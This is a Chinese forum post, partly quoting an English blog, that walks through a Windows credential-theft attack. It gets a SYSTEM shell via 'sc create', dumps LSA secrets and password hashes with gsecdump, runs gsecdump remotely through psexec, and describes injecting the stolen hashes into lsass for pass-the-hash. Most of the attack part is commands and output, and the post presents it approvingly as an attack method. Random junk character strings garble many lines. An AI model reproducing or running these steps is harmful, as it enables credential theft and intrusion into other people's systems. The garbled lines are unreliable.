HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
) O. ?" C+ g0 H# M( j6 z
2 B9 g4 ?4 r9 w9 F; I/ VC:\>sc start shellcmdline
7 B1 d3 [" o& C6 i! s' E: q[SC] StartService FAILED 1053:
  H7 \2 n# S/ d' r9 h' O
The service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
9 M" K2 q; G6 e- t[SC] DeleteService SUCCESS
/ L- c' w8 c$ b( g
------------
* H  [5 ~9 A1 K( x. D
Then in the new DOS window:

+ o/ }0 k( [( AMicrosoft Windows XP [Version 5.1.2600]
, J+ i7 ^+ {9 C7 k# k" u(C) Copyright 1985-2001 Microsoft Corp.
" _. d$ q7 |' ]2 p6 D( \
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

0 C6 z) w2 o1 w9 \C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

& p3 x+ Y4 u6 p2 `& a5 q& Goptions:
-h [ --help ] show help
* Z; n) v0 f4 W3 V-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
5 W5 q  ?& ]) a; m# J" z: e-u [ --dump_usedhashes ] dump hashes from active logon sessions
3 q5 z- x! m3 G: [-s [ --dump_hashes ] dump hashes from SAM/AD

/ Q# w4 F; O$ G  rAlthough I like to use:

PsExec v1.83 - Execute processes remotely
9 {- A& T7 ]- J+ k, h0 A4 v' mCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
9 }/ u) d* i' M
5 {. _$ m, K4 _; N$ }to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

$ P/ f) q6 E3 f6 R提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。